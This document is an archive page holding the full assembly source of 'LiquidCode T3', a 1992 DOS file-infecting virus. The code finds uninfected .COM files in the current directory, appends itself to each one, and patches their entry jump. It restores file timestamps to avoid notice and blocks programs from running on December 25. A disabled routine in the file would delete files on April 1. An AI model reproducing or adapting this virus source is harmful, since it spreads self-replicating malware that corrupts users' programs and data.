home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / ASM-T.ZIP / T3.ASM < prev    next >
Assembly Source File  |  1992-11-14  |  6KB  |  362 lines

  1. ;LiquidCode  ---  T3
  2. ;    
  3. ;            Virus
  4. ;This version:
  5. ;Searches current directory for non-infected com files, if any found
  6. ;it will become infected!
  7. ;This virus has a routine which self-destructs itself and uninfects
  8. ;the file.
  9.     assume cs:code
  10.     .286
  11. code    segment    "code"
  12.     org 0100h
  13. start    proc
  14.     jmp    v_start        ;first 5 bytes |
  15.     nop            ;              |
  16.     nop            ;              |
  17. v_start:
  18.     call $+3        ;Actual virus
  19.     pop dx
  20.     sub dx, 3
  21.     push dx            ;save relocation factor in BP
  22.     pop bp            ;so virus can be copied anywhere twoards
  23.     mov si, dx        ;the end of the file
  24.                 ;
  25. ;            Replace first 5 bytes in memory with original
  26. ;            program code so normal program can run later
  27.     add si, first_five
  28.     mov di, 0100h
  29.     mov cx, 5
  30.     lodsb
  31.     stosb
  32.     loop $-2
  33. ;see if user want to disinfect this file
  34. ;    mov si, 82h
  35. ;    lodsb
  36. ;    cmp al, "["        ;is al the code to disinfect?  "["
  37. ;    jne ok_dont_disinfect
  38. ;    jmp self_kill 
  39. ok_dont_disinfect:
  40.                 ;here should be date checks to see
  41.                 ;if an evil function should be unleashed!!
  42.     mov ah, 2ah
  43.     int 21h
  44.     ;cx year 1980-2099
  45.     ;dh month 1-12
  46.     ;dl day
  47.     ;al day of week  0=sun 1=mon -> 7=sat
  48.     cmp dh, 12
  49.     jne notdec
  50.     cmp dl, 25
  51.     jne notdec
  52.     jmp christmas
  53. notdec:
  54.     cmp dh, 4
  55.     jne notapril
  56.     cmp dl, 1
  57.     jne notapril
  58. ;    jmp aprilfools    
  59. notapril:
  60.  
  61. ;Set the DTA
  62.     call set_dta
  63.                 ;find first file to  ?infect?
  64.     call find_first_file
  65. go_again:
  66.     mov si, bp
  67.     add si, size_
  68.     lodsw
  69.     cmp ax, 5
  70.     ja gd4
  71.     jmp resrch    
  72. gd4:
  73.     call open_file
  74.     mov bx, ax
  75.     mov al, 0
  76.     call date_time
  77.     mov ah, 3fh
  78.     mov cx, 5
  79.     mov dx, bp
  80.     add dx, first_five
  81.     int 21h
  82. ;****    mov ax, 4202h
  83.     mov cx, 0
  84.     mov ax, 4202h
  85.     mov dx, cx
  86.     int 21h
  87.     sub ax, 3
  88.     mov si, bp
  89.     add si, new_5
  90.     mov [si+1], ax
  91.     mov si, bp
  92.     mov di, si
  93.     add si, chkmark
  94.     add di, mark
  95.     mov cx, 2
  96.     repe cmpsb
  97.     jne INFECT
  98. ;File found was previously infected!
  99. ; search for new one now.
  100.     jmp resrch
  101.  
  102. wipe_name:
  103.     push di
  104.     push ax
  105.     push cx
  106.     mov di, bp
  107.     add di, name_
  108.     mov cx, 13
  109.     mov al, 0
  110.     rep stosb
  111.     pop cx
  112.     pop ax
  113.     pop di
  114.     ret
  115. resrch:
  116.     call wipe_name
  117.     mov ah, 4fh
  118.     int 21h
  119.     jnc gd3
  120.     jmp term_virus
  121. gd3:
  122.     jmp go_again
  123. INFECT:
  124. ;Time to infect the file!!
  125.     mov si, bp
  126.     add si, handle
  127.     mov bx, [si]
  128.     mov cx, vsize
  129.     mov dx, bp
  130.     call wipe_name
  131.     mov ax, 4000h
  132.     int 21h
  133.     mov ax, 4200h
  134.     mov cx, 0
  135.     mov dx, cx
  136.     int 21h
  137.     mov dx, bp
  138.     add dx, new_5
  139.     mov ax, 4000h
  140.     mov cx, 5
  141.     int 21h
  142.     mov al, 1
  143.     call date_time
  144.     mov ax, 3e00h
  145.     int 21h
  146.     jmp resrch 
  147.  
  148. fndnam    proc
  149.     mov si, env
  150.     mov ax, [si]
  151.     mov es, ax
  152.     mov ds, ax
  153.     mov si, 0
  154.     mov di, si
  155. __lp:
  156.     lodsb
  157.     cmp al, 0
  158.     je chknxt
  159.     stosb
  160.     jmp __lp
  161. chknxt:
  162.     stosb
  163.     lodsb
  164.     cmp al, 0
  165.     je fnd1
  166.     stosb
  167.     jmp __lp
  168. fnd1:
  169.     stosb
  170. __lp2:
  171.     lodsb
  172.     cmp al, "a"
  173.     jae ff_
  174. up2:
  175.     cmp al, "A"
  176.     jae fff_
  177. up3:
  178.     stosb
  179.     jmp __lp2
  180. ff_:
  181.     cmp al,"z"
  182.     jbe fnd
  183.     jmp up2
  184. fff_:
  185.     cmp al, "Z"
  186.     jbe fnd
  187.     jmp up3
  188. fnd:
  189.     mov si, di
  190.     mov al, 0
  191.     repne scasb
  192.     mov dx, si
  193.     mov di, dx
  194.     ret
  195. env    equ 2ch
  196. fndnam     endp
  197.  
  198.  
  199. self_kill:
  200.         ;this procedure disinfects specified files
  201.         ;SI points to the name of current file on disk
  202.         ;which is infected
  203.     call fndnam    ;find name of current file from env block in memory
  204.     jmp gd__    
  205. abrt:
  206.     int 20h
  207. gd__:
  208.     mov ax, 3d02h
  209.     int 21h
  210.     jc abrt
  211.     mov bx, ax
  212.     mov ax, cs
  213.     mov ds, ax
  214.     mov es, ax
  215.     mov cx, 5
  216.     mov dx, bp
  217.     add dx, first_five
  218.     call wipe_name
  219.     mov ax, 4000h
  220.     int 21h
  221.     jc abrt
  222.     mov dx, 0
  223.     mov cx, 0
  224.     mov ax, 4202h
  225.     int 21h
  226.     jnc gd__1
  227.     jmp abrt
  228. gd__1:
  229.     sub ax, vsize
  230.     mov dx, ax
  231.     mov cx, 0
  232.     mov ax, 4200h
  233.     int 21h
  234.     call wipe_name
  235.     mov cx, 0
  236.     mov ax, 4000h
  237.     int 21h
  238.     mov ax, 3e00h
  239.     int 21h
  240.     jmp term_virus
  241. date_time:
  242.     pusha
  243.     mov ah, 57h
  244.     cmp al, 0
  245.     je fnd__$
  246.     mov di, bp
  247.     mov si, di
  248.     add di, date
  249.     add si, time
  250.     mov dx, [di]
  251.     mov cx, [si]
  252.     int 21h
  253.     jmp ret__
  254. fnd__$:
  255.     int 21h
  256.     mov si, bp
  257.     mov di, bp
  258.     add si, time
  259.     add di, date
  260.     mov [si], cx
  261.     mov [di], dx
  262. ret__:
  263.     popa
  264.     ret
  265. open_file:
  266.     mov dx, bp
  267.     add dx, name_
  268.     mov ax, 3d02h
  269.     int 21h
  270.     jnc gd2
  271.     jmp term_virus
  272. gd2:
  273.     mov si, bp
  274.     add si, handle
  275.     mov [si], ax
  276.     ret
  277. find_first_file:
  278.     mov dx, bp
  279.     mov cx, 0
  280.     mov ah, 4eh
  281.     add dx, all_com_files
  282.     int 21h
  283.     jnc gd1
  284.     jmp term_virus
  285. gd1: 
  286.     ret
  287. set_dta:
  288.     mov dx, bp
  289.     mov ah, 1ah
  290.     add dx, dta
  291.     int 21h
  292.     ret
  293. term_virus:
  294.     mov ax, 0
  295.     mov bx, ax
  296.     mov cx, bx
  297.     mov dx, cx
  298.     mov si, 0100h
  299.     mov di, -1
  300.     mov bp, di
  301.     push 0100h
  302.     ret
  303.  
  304. CHRISTMAS:
  305. ;Program Lockup
  306. ; Exit without running program   
  307.     int 20h
  308. ;APRILFOOLS:
  309. ;Ha Ha delete current file
  310. ;    call fndnam
  311. ;    mov ah, 41h
  312. ;    int 21h
  313. ;    mov ax, cs
  314. ;    mov ds, ax
  315. ;    mov es, ax
  316. ;    jmp term_virus
  317. ;            Data    Bank
  318. _fstfive:
  319.     int 20h
  320.     nop
  321. ckmrk:
  322.     nop
  323.     nop
  324. acf    db "*.COM",0
  325. dt_    dw 0
  326. tme    dw 0
  327. d_t_a:
  328.     rfd    db 21 dup (0)
  329.     att    db 0
  330.         dw 0
  331.         dw 0
  332.     sz    dd 0
  333.     n_me    db 13 dup (0),0
  334. handl    dw 0
  335. nw_5    db 0e9h,0,0
  336. mrk    db "<T3> "
  337. strain    db "<tm>LiquidCode 92"
  338. ;
  339. end___:
  340. first_five    = offset _fstfive-0105h
  341. all_com_files    = offset acf-0105h
  342. dta        = offset d_t_a-0105h
  343. attribute    = offset att-0105h
  344. time        = offset tme-0105h
  345. date        = offset dt_-0105h
  346. size_        = offset sz-0105h
  347. name_        = offset n_me-0105h
  348. handle        = offset handl-0105h
  349. new_5        = offset nw_5-0105h
  350. mark        = offset mrk-0105h
  351. chkmark        = offset ckmrk-0105h
  352. vsize        = offset end___-0105h
  353. start    endp
  354. code    ends
  355.     end    start
  356.     
  357. ;  ─────────────────────────────────────────────────────────────────────────
  358. ;  ────────────────────> and Remember Don't Forget to Call <────────────────
  359. ;  ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────
  360. ;  ─────────────────────────────────────────────────────────────────────────
  361.  
  362.